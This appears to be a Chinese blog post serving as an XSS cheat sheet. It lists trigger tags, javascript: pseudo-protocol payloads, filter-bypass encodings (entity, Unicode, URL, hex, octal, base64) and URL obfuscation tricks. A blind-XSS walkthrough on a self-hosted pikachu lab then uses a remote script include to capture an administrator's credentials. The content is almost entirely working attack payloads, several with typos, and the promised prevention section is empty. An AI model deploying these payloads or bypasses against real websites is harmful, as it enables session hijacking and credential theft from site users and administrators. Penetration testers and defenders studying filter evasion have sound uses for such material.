常用触发标签

<script>
<script>alert("XSS");</script>

<img>
<img src=0 onerror=alert("XSS");>

<input>
<inpuy onfocus="alert('XSS');">
#自动触发
<input onblur=alert("XSS") autofocus><input autofocus>
<input onfocus="alert('XSS');" autofocus>

<svg>
<svg onload=alert("XSS");>


<iframe>
<iframe onload=alert("XSS");></iframe>

<video>
<video><source onerror=alert("XSS");>

<audio>
<audio src=0 onerror=alert("XSS");>

<body>
<body/onload=alert("XSS");>
#自动触发
<body
onscroll=alert("XSS");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<details>
<details ontoggle="alert('XSS');">
#自动触发
<details open ontoggle="alert('XSS');">

<select>
<select onfocus=alert("XSS")></select>
#自动触发
<select onfocus=alert("XSS") autofocus>

<textarea>
<textarea ibfocus=alert("XSS"); autofocus>


<keygen>
<keygen autofocus onfocus=alert("XSS")> //仅firefox

<marquee>
<marquee onstart=alert("XSS")></marquee> //Chrome不适用

<isindex>
<isindex type=inage src-1 onerror=alert("XSS")> //仅IE

远程包含js文件

<link rel=import href="http://127.0.0.1/1.js">

javascipt伪协议

<a>
<a href="javascript":alert(`XSS`);">XSS</a>

<iframe>
<iframe src=javascript:alert('XSS');></iframe>

<img>
<img src=javascript:alert('XSS')> //IE7以下

<form>
<form action="Javascript:alert(1)"><input type=submit>

常见过滤绕过

过滤空格

使用 / 代替 空格

<img/src="x"/onerror=alert("XSS");>

过滤关键字符

  • 大小写绕过
  • 双写关键字符(适用于将关键字符替换为空)
  • 字符拼接
eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`XSS`);'eval(a+b+c)">

top
<script>top["al"+"ert"](`XSS`);</script>

编码绕过

  • html实体

    使用十进制或十六进制的字符实体编码(&#)

  • Unicode编码
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
  • url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  • ASCII码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
  • 十六进制(hex)
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
  • 八进制
<img src=x onerror=alert('\170\163\163')>
  • base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤单、双引号

  • html标签中可不适用引号,js中,使用反引号 ` 代替
  • 编码绕过

过滤括号

使用throw绕过

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

  • url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
  • 使用IP
#十进制
<img src="x" onerror=document.location=`http://2130706433/`>
#八进制
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
#十六进制(hex)
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  • html标签中可以使用 // 代替 http://
  • 使用 \\(Linux)

    windows下为file协议,linux为当前域的协议

  • 中文 代替 .
<img src="x" onerror="document.location=`http://www。baidu。com`">

XSS盲打

“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,站点採用了攻击者插入了带真实攻击功能的xss攻击代码(一般是使用script标签引入远程的js)的数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。

通俗讲就是见到输入框就输入提前准备的xss代码,一般是使用script标签引入远程的js代码,当有后台人员审核提交数据时候,点击了提交的数据,触发获取到有价值信息。

下面利用自己搭建的pikachu漏洞平台进行演示

利用xss盲打平台(网上很多)

完成配置查看代码

进图pikachu漏洞平台

提交一个意见反馈

接下来模拟管理员查看评论过程

登录平台后台

可以看到片有意见反馈但是并不含有内容

返回盲打平台查看返回

得到信息

密码信息为MD5编码

解码的到密码123456

防止XSS

Reference

https://xz.aliyun.com/t/4067#toc-15

最后修改:2021 年 06 月 09 日
如果觉得我的文章对你有用,请随意赞赏